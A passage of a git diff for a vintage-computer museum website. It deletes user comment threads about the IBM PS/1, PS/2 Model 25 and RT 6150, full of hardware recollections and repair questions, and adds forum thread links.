for the first one circa 1988. the second one was less expensive as the technology was no longer cutting edge. I had to start it in DOS prompt and hated when window first came out because it seemed so different. - - author: TCPMeta - date: Tuesday 22nd March 2016 - text: I had two of these systems. I do not remember the models but I remember the hardware. The first one I bought from a friend for 50 bucks. It had a 486SX at 25MHz, 4MB of ram, 1.44MB floppy and a 1.2MB floppy. It also had a 1200 baud internal modem and had a beeper speaker. A few months later a random person in the neighborhood knew I was into computers and gave me their old PS$1 that was a 386. No memory, had both floppies and once again a 1200 baud modem. Later down the road I fixed them up by adding memory, CD-ROM drives and added sound cards. The 486 received a multimedia/modem card that was pulled some a Packardbell. It was basically a soundblaster with a 14.4K dial-up modem. The 386 got a Diamond monster card with a ESS sound chip. I used the systems to play games with friends via null modem. Played mostly the DOOM series. I don''t remember the hard drive sizes. I know they were the original ones but the 486 model got a new drive and I tossed the old one as a slave into the - 386. - - author: zmatt - date: Sunday 5th January 2014 - text: I have a fully functioning PS/1 with 3 1/4 and 5 1/2 inch drives and a hard disk as well. Came with Windows 3.1. I currently run MuLinux on it with no issues. 386 is 16mhz and it has 4mb of ram. - - author: Carol (USA) - date: Tuesday 3rd September 2013 - text: I have an old IMB ps/1 that I have had in my basement for years. I wanted to take the memory out of it before recycling it but can''t find where it''s located. Can anyone help? How do you remove the memory? (I lost the power cords so I can''t turn it on.) Thanks! - - author: nick Mandalaywala (United States) - date: Monday 14th January 2013 - text: |- - buy printer ribbons\ - for my IBM PS-1 Printer. I have tried all over with no luck - - can any one help - - author: Rmollise - date: Wednesday 9th January 2013 - text: The PS/1$I have the 486sx version that I purchased in ''93$is a great old computer. My first IBM, my first real computer after a succession of 8 bit machines, the first one I could do real work on. Built like a tank, and still works today (well, the floppy is dead and the monitor is close to it). I still love it and will never get rid of it. :-) - - author: Cherry - date: Saturday 13rd October 2012 - text: The IBM PS/1 was my first pc purchased in ''93 with monitor from Sears. I soon went out a bought a pair of Creative Labs Soundblaster speakers which had the mosiac games with it. I believe the monitor was 13-inch, 25mhz? 486 SX processor, 250mb hard drive, and 1.44 floppy disk. Processor was not upgradable. It came with a Dune game, Prodigy, Aol, and Compuserve. - - author: Carol Schlim - date: Wednesday 10th October 2012 - text: 'I have the complete setup purchased in 1991: PS/1 computer, printer and all instruction manuals. The computer has 2.5 megabytes of memory. I would like to sell this.' - - author: Carol Schlim - date: Wednesday 10th October 2012 - text: 'I have the complete setup purchased in 1991: PS/1 computer, printer and all instruction manuals. The computer has 2.5 megabytes of memory. I would like to sell this.' - - author: hazael (chih mexico) - date: Thursday 5th April 2012 - text: |- - I have an IBM 2133-G53 ps1 consultant\ - I want to sell but not its price\ - anyone can tell me how much it costs\ - my email is hazael.delgado @ live.com.mx - - thanks - - author: fjk61011 - date: Thursday 5th April 2012 - text: |- - I have a PS/1 TYPE 2121. I bought it in 1993. - - It had a 386SX chip, 2MB of RAM and a 40MB Hard Drive. - - It has IBM DOS 4.00 and Windows 3.00 installed. Works 2.0 was also included. - - I upgraded it with the Adaptor Unit with 3 ISA slots. I also upgraded to a 486SX chip and added 4MB of memory. - - I have just installed a 125 MB drive. I also added a 5.25" floppy drive unit (brand new) - - author: Carlos (Niteroi, RJ, Brasil) - date: Friday 6th January 2012 - text: |- - I do have one PS/1, just behind me.\ - It was bougth at Sears, back in 1991, for my daugther.\ - Cost was US$2.000 !!\ - Did not turn it on for a while, though.\ - But I will give it a try. - - author: Fenix - date: Saturday 5th November 2011 - text: |- - @Margie - - That computer is beyond repair. It''s a piece of history though. Send it to my home computer museum. :P - - (Jk sounds like it just needs a little TLC, and a new CMOS battery. Not hard to do. :P ) - - author: William (Ohio) - date: Thursday 6th October 2011 - text: Does it hold true that if you put a processor in the "Co-processor" socket, it disables the onboard one? I am absolutely certain my friend put a 486 DX2-66 in the socket, and it showed up in W95 and the BIOS as a 486 DX2-66 CPU installed, instead of the original 486 SX-25. - - author: Jim Norton (Crescent City, California) - date: Thursday 1st September 2011 - text: |- - That spare "CPU socket" on the motherboard is actually for a math co-processor... something that was built into the -DX versions of the CPU''s. Like a graphics card offloads the graphics duties from the CPU, the math co-processor offloaded the floating point calculations and other intensive math functions from the CPU, resulting in improved performance. The socket was disabled when used with a -DX processor.\ - I never actually saw one with the co-processor installed... if you bought an SX unit, you were interested in shaving costs or knew very little about the differences between the SX and DX versions... either way, the amount of increase performance versus the price (and lack of availability) of the co-processor tended to discourage their proliferation.\ - Well... this has been a bit of trivia that I never thought I''d use again... :-) - - author: Margie (MI, USA) - date: Thursday 25th August 2011 - text: |- - I''m interested in selling my IBM PS1 computer. I bought it on 8/15/93 from Best Buy. I used AOL for e-mailing up until the internet grew (or like in ''98)$ $ then I tried to $ some stuff in order to use the internet more efficiently. So, some programs are not working right $ I am not that computer literate. The Travel Planner says the working directory is invalid$that''s in the expert software$ The Desk jet (tool box) says "File error" cannot find HPG MON11.DLL$the print manager$"The queue processor for port LPT1 could not be loaded-(I had purchased a Panasonic colored, Impact Dot Matrix printer (KX-P2123) at the same time$ The ribbons last "forever"$-$ I have extra!! Anyway, I think this problem is in not having it in the right port?$or it''s just with the queue (if I''m remembering right). - - I was playing music on the Keyboard about 4 months ago, but when I tried it recently, it said C:$SB$DRV$organ.drv is not a valid sound file. (Sounds like I don''t know how to load the driver??)\ - One last thing: When I turn it on it says (161 Bad CMOS Battery). I don''t know what all this means, but maybe someone out there who loves the IBM PS1$$like I did, will know how to fix these problems.\ - If anyone is interested, let me know... - - author: Chris Miller (Houston/TX) - date: Monday 13rd December 2010 - text: I''ve still got my PS/1 Model 2155. It''s been upgraded to a 486DX/2 66, 28MB RAM, and a 6GB hard drive. I still fire it up on occasion to play my old DOS games. - - author: kon - date: Wednesday 8th December 2010 - text: |- - I HAD an IBM PS/1 with a 44x CD-ROM drive 10 GB HDD\ - HD (1.44 MB) FDD and windows 95 on it\ - UNTIL I ACCIDTENDLY fried the built-in grafics card then i threw it away I didn''t throw away monitor though - - author: Geelo - date: Monday 8th November 2010 - text: I had the 386sx one, a really happy little computer. Someone gave me it in the late 1990''s. I was able to make it into a "Dos peer server" and I was able to see it in a windows network up to Windows 2000 server when Microsoft still supported legacy dos systems. The integrated monitor went on the unit, and I actually gave it to someone else would wanted to try and repair it. A good machine. I remember that it also had a "loud" speaker in it. - - author: caitlin lopez - date: Sunday 24th October 2010 - text: I never hear about PS/1 I know about the PS/2 (which makes now sense why the $2) - - author: Exin (Germany) - date: Friday 22nd October 2010 - text: 'Oh, i forgot: The ISA slots on the 486SX model had a 3rd 8-Bit slot. I only used it for the Soundcard. (A 8-bit SB 2.1 Clone)' - - author: Exin (Germany) - date: Friday 22nd October 2010 - text: |- - I frequently used my PS/1 until my mom threw it away for no reason. I used to have the small version. (486SX) - - I tried alot of things with this machine, and i always ended up with having not enough. It had only 2 ISA slots, instead of the stated 4. It didnt like 2 big (more than 512MB) harddisks on the same controller, so if i wanted to connect 2, i had to use a CDROM controller. - - I used Windows 98SE on it, but the installation took hours. - - The max Memory i could ever achieve was 48MB (2x16MB + 2x8MB). I had it full with 32MB Modules, but without effect.\ - Alo, it didnt like EDO modules alot. (Edo wasnt invented when this came out.) It just didnt recognize the modules. (as well as ALOT of other, i never have seen a machine that was SO GODDAMN picky about "PS/2" memory modules.) - - The onboard graphics only allowed 640x480@256colors or 800x600@16 colors. So, if i wanted to have more, i''d sacrifice the only slot left. If i wanted to use the network(which i did alot), i had to stick with shitty graphics. - - As CPU, i used a 486DX2 66. The machine didnt start with anything else. I had one adapter for DX4 CPU''s, but it didnt work, neither did AMD''s CPU''s. - - What good was, the PS/2 Mouse and Keyboard. Also the nice Compact Case Design. ("Reinvented" as HTPC''s Today.)\ - Alot people were impressed with the Front plate, that could be opened to reveal the drives when needed. - - But fitting the harddisks was too much for the system. It was a pain in the ass to fit tthe first drive alone. It had to be mounted under the CD drive and the second one was covered in a sheet of paper next to the ISA cards above the memory. (Which was luckily in "angeled" slots.) - - I think it was somehow possible to upgrade the onboard video memory...but why...to have 800x600 in 256 colors?.... - - I would really like to have one of those again. Too bad they are fucking rare nowadays. - - author: sastchy - date: Tuesday 4th May 2010 - text: |- - Hi\ - Can you help me, please? I habe a PS/1 (Type 2011) without Monitor. So i have a problem with the power-supply. i need the pinout from the power-connector on the backside from the PS/1. it is a Sub-D, like a gameport.\ - Can you help me$ thanks so much.\ - Greets from SATSCHY - - author: Ed Bratt (Canada) - date: Monday 19th April 2010 - text: My brother is in the process of moving, and has a ps/1-2011 which he left with me. It is complete with mouse, printer, and original books. He told me I should find a buyer. Unfortunately I am in Saskatchewan, Canada, and it is a long way from Switzerland, (and most other places). - - author: frood (USA) - date: Thursday 25th March 2010 - text: |- - i have a p2/1 with windows 3.1 over ms-dos 6.2\ - it works like a charm, for now.\ - it''s funny, when i got it, it was shrouded in coincidence,\ - i had just got a manual for dos 6.2 and i was just expecting to take it apart and get out the 5.5'''' drive, but the thing came on perfectly, and so i kept it like it is. it has one of the earliest instances of the OEM putting lotsa useless stuff on your drive, as is so common now (it came with a lot of disney games that , as far as i can tell, were installed by the OEM).\ - it is a great computer. - - author: docpc (switzerland) - date: Thursday 18th March 2010 - text: I''m desperately seeking for a ps/1-2011 in order to transfer some very important information that I have on my old PS/1. Can somebody help me or do somebody know where I can buy one? - - author: EPA (Germany) - date: Thursday 31st December 2009 - text: |- - Hello from Freiburg, Germany! - - I am actually using two PS/1: 2011 and 2121.\ - Both have the nice IBM 4quad screen, but both were not fully preloaded. - - On US machines of PS/1 there was IBM Promenade service preloaded (4quad screen under INFORMATION) from 1990 till 1994. - - Does anybody has the Promenade service program on a floppy disk or on harddisk? - - Thanks and nice to read your experiences here! - - Manfred - - author: Leland (USA) - date: Tuesday 9th December 2008 - text: |- - I had the 486sx model with 4MB ram. - - Its a LPX form factor (layout). Everything was built into the motherboard and had a four expansion slots of 16bit ISA but on a riser card. The memory was 72pin simms. - - The CPU was integrated onto the motherboard but there was a socket3 that was empty. From what I was told you could put in another 486 CPU and the system disables the built-in CPU. - - Later a friend gave me another PS$1 that had the 386sx. It used 72pin simms and had 8MB of ram. Pretty much the same thing as the later 486 but no way to expand the CPU. - - The software was Windows 3.1 and MS-DOS 6.2 on both systems. There was a bootloader from IBM that let you $ ether to boot into DOS or Windows. - - author: Ian Robertson (UK) - date: Monday 10th November 2008 - text: |- - Hiya I used to have one of these computers. I had the PS/1 2121 and it has designed as a cheap PS/2 for home use for basic office use. It ran MS-DOS 4.1 and Windows 3.0. It had DOS built into the ROM and was very strange in that respect. It booted up to a nice GUI called romshell. It was actually a lot easier to use than most PCs at the time as it was entirely possible to use it without using the command prompt and also without using windows. - - Mine was a 386 SX20 with 2MB RAM and it was very slow even by the time we bought it new in 1993. - - author: Peter - date: Monday 27th October 2008 - text: it''s the first serious product to the home market since the failure of the ibm pc jr. - - author: Eduardo - date: Saturday 16th August 2008 - text: |- - It was my 1st love , my 1st computer. It had also windows 3.0 , 2mb ram , 286, speed don't know as I didn't know about computers by then, the hard drive was built in had 40megas i think from calculation i remember i had once about 29mb free with windows on it just so 40 i think again, don't know what more to say. - - I wish there was a emulator dedicated to this machine with it's 4 windows when starts. - - author: Chris Anderson - date: Saturday 2nd August 2008 - text: You could also get windows 3.1 on this PC as well and DOS 6.2 - - author: Tiago Cardoso Pinto (Portugal) - date: Wednesday 21st May 2008 - text: |- - I had contact with the IBM PS/1 Computer System in late 1990, when it first arrived in Portugal. The grand IBM campaign to sell it here named it as the easiest computer to work with, due to it's OS, the PC-DOS (originally).\ - In later versions, we can find MS-DOS, OS/2 and OS/2 WARP on the IBM PS/1. Also, in later 386 and 486 processor versions, Windows was pre-installed onto the computer.\ - A great machine for the time. It came (originally) with a 40MB HD, and the last model I found on sale carried a 500MB HD unit. - - author: Gita (USA) - date: Friday 25th April 2008 - text: |- - I have a question, how much did the IBM PS/1 cost in 1990? - - Thanks - - author: Dave (Earth) - date: Saturday 22nd March 2008 - text: |- - In response to Micheal McGeary, I wanted to comment that my PS/1 Consultant came with a bog standard 2x tray-loading CD-ROM that connected to a SB16 ISA card. Both came with the machine; it was the multimedia version. - - Had:\ - 170MH HD, 3.5", 2x CD-ROM, SB16, 2400 BPS modem on ISA, integrated 1MB 2D accelerator, 14" CRT, model M2 keyboard, 486SX/25 CPU. - - author: Dave (Earth) - date: Saturday 22nd March 2008 - text: |- - I've owned several. I had the base model of the earlier revision. It had a 286-10 CPU, 512k RAM, dual 3.5 drives, a 12" mono VGA display, and a 2400BPS internal (might be an IBM upgrade?) modem. The best early models came with a 120 megabyte fixed disk, color 12" VGA, 4 megabytes ram, 386SX 25, bundled Windows 3.11, and a similar modem. All the early units kept the PSU and speaker in the monitor. The later Consultants, as pictured on this page, were very generic and felt like whitebox clones. They had standard ISA slots and monitors, unlike the earlier revision, which used a unique and very proprietary modular system for the RAM and modem. No PS/1 of these systems used MCA slots; IBM reserved those for their PS/2 systems. - - If anyone is curious, I used the 286/10 in the late 1990s as a shellnet dialin terminal. It was a cheap way to get on the Internet outside of the den. It wasn't bad, as like seemingly all PS/1s, it came with a Model M2 buckling spring keyboard. - - author: Arthur Bielski (Earth) - date: Saturday 8th March 2008 - text: This was the first model that used the IBM proprietary microchannel bus architecture. It's failure was a direct result of not being able to accept 3rd part standard ISA cards. - - author: Michael McGeary (USA) - date: Wednesday 12th December 2007 - text: I recently recycled a PS/1. It had a 129MB hard drive,4MB of SIMM memory, and a CD-ROM drive that is not slot or tray loading. It has a spring mechinisim that discs keep getting stuck in. THere are no jumpers on it. - - author: Mark Christoph (Apache Junction, AZ) - date: Thursday 8th November 2007 - text: I bought my PS/1 in 1992, while working as an employee at the IBM East Fishkill facility. We made the memory chips that went into this computer, so part of my work is in it. I absolutely loved my PS/1 - it was reliable and an easy system to use. Mine came with a 25Mhz clock, 1Mb RAM (I later added another 1Mb) and a 129Mb hard drive, plus a 3 1/2" drive and a 5" drive. It was loaded with Windows 3.1.1 and DOS 5.0, and had a 1200 baud modem (which I later replaced with a 2400 and then a 9600 baud modem). I used it in the very early days before the Web existed, and the only online communities were Prodigy and Delphi, which I still have loaded on the system. It used a vanilla VGA monitor. My system still works fine and was a good product. I also purchased a 24 pin dot matrix printer with it, and the total package at that time was about $1000. related: - /museum/amstrad-pc-1512 - /museum/amstrad-pc-1640 diff --git a/content/museum/ibm-ps-2-model-25.md b/content/museum/ibm-ps-2-model-25.md index f1395f54..293df64d 100644 --- a/content/museum/ibm-ps-2-model-25.md +++ b/content/museum/ibm-ps-2-model-25.md @@ -64,6 +64,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1151 photos: - title: MODEL 25 subtitle: '' @@ -84,179 +85,6 @@ params: Thanks to Brandon for this picture image: /media/museum/photos/ibm_ps2_windows3_ss.jpg - comments: - - author: Peter Gaylord (USA) - date: Thursday 21st January 2021 - text: I bought one of these in 1988. Mine had two floppy drives and no hard disk. It came with a copy of Windows 1.1 that was on three floppy disks. I normally used DOS, but did get it running on Windows to test it out. Only Word Perfect wouldn’t run on Windows. Called Word Perfect Tech Support to see if I could run it under Windows and they told me not to bother. Windows would never go anywhere they said. Just use DOS. Hilarious. A couple of years before Microsoft Word replaced Word Perfect as the most popular word processor and they went out of business. Ran “Quattroâ€� as a spreadsheet program. $90 knock off of Lotus 1-2-3, before Excel took over. This machine cost about $2,000 in 1988 dollars! - - author: Chris S. (Illinois, USA) - date: Friday 21st August 2020 - text: I \*suspect\* we had a setup of these in the early 90s at my elementary school in the Chicago suburbs. I always wondered what the mainframe setup was. It seemed like the computers themselves were used more like ANSI terminals to the mainframe than actually running software locally. - - author: Bob (USA) - date: Monday 21st October 2019 - text: To Anthony in MISSOURI, I meant! (Sorry, I was still thinking about the wild card game the Brewers should have won!) - - author: Bob (USA) - date: Monday 21st October 2019 - text: To Anthony B. in Wisconsin. I have an old IBM PS/2 model 25 with learning games, including "your" MATH BLASTER "Rocket Launcher." If you contact me at bdaniels30@excite.com I''ll provide more details and possibly help you obtain a PS/2. Do you also remember Word Munchers, Trash Zapper, and Number Recycler? Those were the days! - - author: Anthony B. (Missouri, USA) - date: Wednesday 4th September 2019 - text: |- - Ah, nostalgia. This was the very first computer I ever learned on! When I was in Elementary School, we had a computer lab that were all these IBM machines. Granted, by this time, they were getting a little long in the tooth (It was the late 1990''s), but nonetheless, they were my first foray into Computers. I even have a picture my teacher took in my 2nd grade class of me by the computers. - - I still remember the typing program we used, as well as the educational game where you would solve math problems to help the characters build a rocket ship, have it take off, and then land again.\ - Can''t remember the name of the game though. I wonder if the school district still has a few in a forgotten corner of a warehouse somewhere? - - author: paul (usa) - date: Tuesday 23rd October 2018 - text: There were a lot of field returns for these 2 mother boards. I was the bench tech that repaired them at north american philips in Tampa. The via''s in the boards were horrible. The most common cause of a mother board failure was a thru hole connection between layers. These would usually read about 6 ohms with a meter, but the signals would not pass. there was another common failure to of the post i think the code was 1165, it was the RTC. a port 80 card was very handy for trouble shooting - - author: Kris - date: Monday 5th June 2017 - text: Can anyone out there tell me what ic''s I need to get to do I ram upgrade for my 8086 model 25. I have the parity ram in the slots but I''m missing the 6 chips that are located near the bios and rom - - author: Shawn - date: Sunday 28th February 2016 - text: '@ larry you need a reference disk the internal battery died and it does not know it has a hard drive installed with out that reference disk you can down load them for free on the internet' - - author: Rob T. - date: Monday 7th September 2015 - text: |- - @Larry (USA): Press Alt and then use the arrow keys to navigate to Exit if you are in QBASIC. - - If you are in standard BASIC, type ''SYSTEM'' and press return (i think?). - - author: Rob T. - date: Monday 7th September 2015 - text: |- - I have a Model 55 I recently picked up from Ebay and got working with 16 bit color 640x480 on Windows 3.1. Got a 12 GB ide HDD to work albeit only 2 GB available and got an Acer CDRW to work with some very off the wall Panasonic drivers. - - Plans are to pick up an ISA Ethernet card and upgrade the CPU to a 86 MHz Pentium OverDrive and 128 MB RAM. - - For those that aren''t aware, you can actually upgrade the VRAM for the Cirrus Logic video accelerator as well, these Model 55s were surprisingly robust compared to all the other models. Anyone needing advice or assistance with locating drivers (except sound) can email me if you''d like. - - author: Larry (usa) - date: Friday 5th June 2015 - text: I have a model 25 that loads Basic at the end of it''s boot-up and I can not figure out how to close Basic and get to a DOS prompt. The unit has a hard-drive and a 3.5 floppy (720 or 1.44?) . Has anyone dealt with this issues? - - author: Chris (USA) - date: Saturday 27th December 2014 - text: The model 25 also came in a 286 version with IDE AND there was ALSO a Model 25SX that came with a 386 processor, VGA and IDE. I have both the Model 25sx with 12 meg memory and 8 gig storage on compact flash with sound card and the Model 25 286 with a sound card and hard drive. Both of these are in the all in one design shown above and the 386 sx version is thought of to be very rare. - - author: rob (usa) - date: Sunday 5th October 2014 - text: i recently saved one of these from the trash its a model 55sx but sadly the dallas clock battery is dead causing it to lose its cmos settings which requires a reference disk to fix i removed the old clock battery untill i could get a replacement but the computer shows no image on the screen with out it installed and i can no longer find the old one - - author: rob (usa) - date: Sunday 5th October 2014 - text: i recently saved one of these from the trash its a model 55sx but sadly the dallas clock battery is dead causing it to lose its cmos settings which requires a reference disk to fix i removed the old clock battery untill i could get a replacement but the computer shows no image on the screen with out it installed and i can no longer find the old one - - author: rob (usa) - date: Sunday 5th October 2014 - text: i recently saved one of these from the trash its a model 55sx but sadly the dallas clock battery is dead causing it to lose its cmos settings which requires a reference disk to fix i removed the old clock battery untill i could get a replacement but the computer shows no image on the screen with out it installed and i can no longer find the old one - - author: Lee (USA) - date: Thursday 25th September 2014 - text: The school I have worked at for the last 16 years has a number of these that I have stored in a closet. Also Model 25SX $ Model 30/286''s and some others. I pulled this one out this week (9/2014) hoping to put it on display for the kids to see, plugged it in along with a matching IBM keyboard and it fired right up! Has a 20G Hard drive in it and came right up to the C:$ prompt. This is the way IBM used to build equipment!! - - author: Wyatt - date: Wednesday 18th June 2014 - text: I saw one of these in a local electronics repair store today - it''s had the same image on it''s screen every day for the last year, which is sad - it''s probably badly burned in. But it was missing the classic keyboard - it had a HP keyboard in its place. Whoever sold the computer to them had decided wisely to keep the keyboard for himself. I have one of the keyboards too - the keyboard is great, but I would have liked to have the computer, to go with it. - - author: Karns (USA) - date: Tuesday 18th December 2012 - text: I just got one of these cool little computers. I had one when i was a kid, but didn''t understand DOS at the time. It then had other issues with the monitor, and unfortunately it met it''s demise. The one i just got runs perfectly fine. though it needs a few cosmetic things like drive covers.. etc. - - author: Jeff - date: Wednesday 28th December 2011 - text: This was the first computer I ever owned. I bought it used in 1990. I had the 001 type and I just loved it. Others have mentioned it was built like a tank, and I concur. I loved the curly cord from the keyboard to the unit$ great for moving around and getting comfortable. I really miss it$$there was something calming about its simplicity and friendly look. - - author: Fireb0y (Spain) - date: Wednesday 21st December 2011 - text: These machines have the longest and toughest keyboards of all time, the MODEL-M IBM PS2 Keyboards. They are supposed to support by a million or more strokes, each key! Personally I have 2 of these, and work flawlessly even they have suffered moisture, almost all type of liquids, etc... They are so indestructible and reliable! And the typing is really a must, it''s a somewhat mechanical sense, that gives a special feel that no other keyboard can offer. - - author: Dave - date: Wednesday 28th September 2011 - text: The PS/2 Model 25 if it is only an 8086 would not run OS/2. OS/2 required at least an 286 processor or later. This would have been a dos only machine. - - author: Tara (USA) - date: Wednesday 27th April 2011 - text: Tough machines? I''ll say so. I just literally found one that had been sitting outdoors under a trailer for god knows how long- YEARS. and exposed to a small amount of snow, rain, weather, extreme cold etc.. I plugged it in and the damn thing worked! I think the floppy drive is frozen though, and I don''t have a keyboard for it, but it goes through the memory and then asks for a keyboard or something. They don''t make them like they used to!!! - - author: Mike (USA) - date: Friday 15th April 2011 - text: |- - I have the Model thirty, 16 mb ram took from mac lc, 80 mb hd, windows 3.11 wfw dos 6.22, bunch of games, came from a school, 1993 is the yr, has the front bezel for volume up/down and 2 headphone ports. can add cd rom, or a big floppy drive, and it can run windows 95, thats the highest it can run, but forget 95, old dos games baby!! lol.\ - saved it from someone that likes to destroy crap. i love old computers, i think sometimes they outlast these new ones. - - author: YO (US) - date: Monday 17th January 2011 - text: Still have one of the later type 4 models, still works, had to replace the HD. Runs Win 1.4x w/color and Sound! Fancy. - - author: chichi (US) - date: Wednesday 12th January 2011 - text: |- - still have a working one. 8086 processor... runs windows 1.x in mono. - - Does have color, and floppy and a 20mb hard card. - - author: Markus (Germany) - date: Wednesday 4th August 2010 - text: |- - Right, a PS/2 Model 25 (and they had an Intel 8086! check Wikipedia) was unable to run Win 3.1 because of the processor. Windows 3.0 was the last Windows to be compatible with the i8086.\ - The PS/2 Model 25 and 30 came with PC-DOS 3.3, every other PS/2 came with OS/2, but the Model 50 was free to run DOS 3.3 also because OS/2 was finished a bit later. - - author: Roel Vossen (USA) - date: Tuesday 30th June 2009 - text: I used to own one and I''m really sure it had a 286 processor. - - author: Leland (USA) - date: Tuesday 9th December 2008 - text: |- - When I got ahold of this system years ago it had a 286 CPU socket but with some 3rd party 286 to 386 DX CPU. Also the system had a Kingston memory board with what looked like a 72pin stick of 4MB. Sadly I couldn''t get the system up and running due to no internet access to download the setup floppy and the IBM tech support were no help. - - Also up to last year the local Publix used these systems as their Point of Sale system. - - author: PoopskinTheLiar (Za Warudo) - date: Sunday 7th December 2008 - text: |- - Why is there no section for the PS/2 p70?!\ - I have a p70, it''s a very well built machine, aside from the odd positioning of the floppy drive... - - author: Brandon - date: Monday 19th May 2008 - text: |- - These machines can NOT run Windows 3.1. Only Windows 3.0.. (there is a big difference actually, different kernel, different running modes). - - I tried to send old computers, pics of this machine, but they aren't responding. So here's links to pics I took. I got Win 3.0 running in high res with 16 shades of grey due to a VGA card I installed (some modding required). Also replaced the CPU with a V30, to get that VGA driver to even work, and for faster speeds. - - http://img.photobucket.com/albums/v395/Evilweredragon/m25/1.jpg\ - http://img.photobucket.com/albums/v395/Evilweredragon/m25/2.jpg\ - http://img.photobucket.com/albums/v395/Evilweredragon/m25/3.jpg\ - http://img.photobucket.com/albums/v395/Evilweredragon/m25/4.jpg\ - http://img.photobucket.com/albums/v395/Evilweredragon/m25/5.jpg\ - http://img.photobucket.com/albums/v395/Evilweredragon/m25/6.jpg - - And the quality of the CRT (my car picture): http://img.photobucket.com/albums/v395/Evilweredragon/car.jpg - - author: Ryan V. (USA) - date: Tuesday 23rd October 2007 - text: I used to have one of these computers... Although I was very young... I remeber running windows 3.11 on it (Barley)... It also had a mouse and a hard drive cant remeber how big it was though I think 20mb or something like that.... - - author: pip (AL) - date: Sunday 21st October 2007 - text: did these machines come with os2 or dos - - author: David Whitcomb (USA) - date: Tuesday 18th September 2007 - text: These machines were all over my elementary school while i was attending. throughout the time i was there, i saw the flexibility of these machines first hand, they went from OS/2 to some DOS SHELL, all the way up to Windows 3.1 Thinking back, i also recall this machine being one of the first to promote the TokenRing topology networking. - - author: Ed (Portland, OR, USA) - date: Wednesday 11th July 2007 - text: 'Memory: We had these systems setup in highschool (Portland, OR) and were used as word processors, etc. I was able to get access to be able to do some BASIC programming and had fun. All proprietary PS/2 style hardrives, floppys (that I remember, etc). Was also used as an electronic "card catalog" in the library.' - - author: Robert Talada (USA) - date: Tuesday 19th June 2007 - text: |- - If I remember correctly, this was my first computer, discarded from the elementry school in the early nineties. It came with a 486DX (running at I think 75 MHz) processor and it's sound card was wired directly to the system speaker in the front panel of the computer. It had an 800 MB HDD and a quad speed CD-ROM Drive. This leads me to believe that I had the Model 30. I remember installing windows 95 on it and my friend laughing at me when the "It is now safe to turn off your computer" screen popped up. Every other computer in 1996 had a "soft" controlled power supply.\ - Furthermore, the computer supported 256 colors in 640x480 resolution. Windows 95 was so painfully slow, I downgraded it to Windows 3.11 workstation which put a lot less strain on the 32MB of RAM that I got for free from the library maintenance dept. mind you the 32 MB was MAXIMUM. 8MB per slot with four slots. - - It eventually was trashed when I blew the proprietary power supply and found it could not be replaced. - - It was my favorite PC - - author: Kia Purity (Kansas) - date: Sunday 22nd April 2007 - text: |- - As there's no page for IBM/PS1. I thought this was IBM PS/1 at first (from the pictures) until I read closely and it said PS/2. - - As it turns out that I guess that IBM had two versions of this machine and they didn't look all that different either. I have decent pictures of the PS/1 system which I no longer have. - - However, I do have documentation for PS/1 from 1990... which indicates that PS/1 is younger than PS/2. - - author: Aaron (Boston) - date: Saturday 10th February 2007 - text: I don't think that the 8086-based version of the Model 25 was able to run OS/2--it was a strictly DOS machine. I do not know if there as ever an 80286-based version. The IBM Model 30 also came in an 8086 form, and then, later, an 80286 (The Model 30-286) which could presumably run OS/2. OS/2 was an operating system designed specifically for the 80286 (and better) chips, because it was multitasking and could take advantage of the extended memory and capabilities that the 286 offered and that the 8086 could not offer. - - author: D. Allen Mays (USA) - date: Wednesday 24th January 2007 - text: My Ibm Model 25 came straight off the showroom floor in 1987 with dual 1.44meg floppies, Dos 3.0, 2 button mouse, and an analog joystick. I had microsoft flight simulator, Ikari warriors, Thexder, and Pc paintbrush - - author: Darrick Burch (USA) - date: Sunday 14th January 2007 - text: |- - I fondly remember using these machines in elementary school. They had no local storage apart from the built-in floppy drives. Instead, the machines would boot staright into our school's token ring network. Our network ran NetWare 3.12 and supported an IBM-built application called ICLAS (IBM Classroom LAN Administration System) that allowed teachers and the network administrator to control what applications and printers were available to students. Quite a spiffy system, really... - - I seem to recall that the 320x200 MCGA mode was more or less compatible with VGA; I snuck in a few games on floppies that would use this mode. Some Sierra On-Line games would also support the MCGA mode, but they often only used 16 colors, probably as a workaround for the EGA mode that this machine does not support. - - This isn't the only "all in one" system from IBM. IBM released several similar machines under the EduQuest name, though they were a little bigger physically. For one, the EduQuest machines had a full 14" display (I can't recall the Model 25's screen being any bigger than 12-13"). Oh, and those machines offered 386 and 486 processors, HDD and CD-ROM drives, and built-in ROM DOS, but I digress... - - author: Andrew Bellows (Earth) - date: Friday 8th December 2006 - text: I recieved one of these second hand from a private high school. It ran well for what I did with it (mainly text editing and Sid Meyer's Civilization in 256 color VGA mode). I had it running the 30MB HDD from the IBM 30 for a while until it inexplicably stopped functioning. It was tricky but I also had it using an Intel 8/16 Ethernet adapter to connect to my home network. The entire machine was functioning still with 2 3.5" 720k floppy drives the last I saw of it. Mine also had a headphone out port on the rear. oc_id: 1183 source: url: https://web.archive.org/web/20230608093550/http://www.old-computers.com/museum/computer.asp?c=1183 diff --git a/content/museum/ibm-rt-6150.md b/content/museum/ibm-rt-6150.md index b1238efa..853a7ab1 100644 --- a/content/museum/ibm-rt-6150.md +++ b/content/museum/ibm-rt-6150.md @@ -64,49 +64,12 @@ params: value: From £9800 tabs: - photos + forum_thread: 848 photos: - title: BACK SIDE subtitle: '' text: No doubt, the 6150 hardware is very reliable and designed for a long use. image: /media/museum/photos/ibm_6150_back_1.jpg - comments: - - author: Darkstar (Germany) - date: Wednesday 1st April 2020 - text: |- - Does anyone have an IPL ROM dump for the IBM RT PC? - - Is there any emulator already existing? Contact me e.g. on Twitter under DarkStar_1337 - - author: Byron Adkins (Austin TX USA) - date: Thursday 28th April 2016 - text: |- - The original (170ns) processor card supported an optional floating point coprocessor card based on the National Semiconductor NS32081 FPU. - - The next generation (100ns) processor card included a Motorola 68881 floating point coprocessor on the CPU card itself. - - The final (80ns) processor card supported a huge double-card floating point coprocessor, again in the coprocessor slot. - - If you search the Web for ''IBM SA23-1057'' you can download a PDF of the original RT product architecture. Note that the ROMP processor MMU, though a separate integrated circuit (at least initially), is tightly integrated with the RISC core and would not be called a co-processor today. - - author: drGspot (croatia) - date: Tuesday 11th October 2011 - text: |- - PowerPC story is far from over (2011.) ...from big box IBM iron (up to Power7)\ - to 8+2 core Cell in Playstation 3, 3 core in Xbox360, single core Nintendo Wii, up to 11th generation of AmigaOne x1000 (2 GHz 64bit dualcore, PCI-E 16x)\ - At IBM (Cloud/Linux) Forum we have just learned that 50 $ of TCP/IP traffic is done by non x86 chips... - - author: Shane Hill (Austin TX USA) - date: Tuesday 15th February 2011 - text: '@Scott 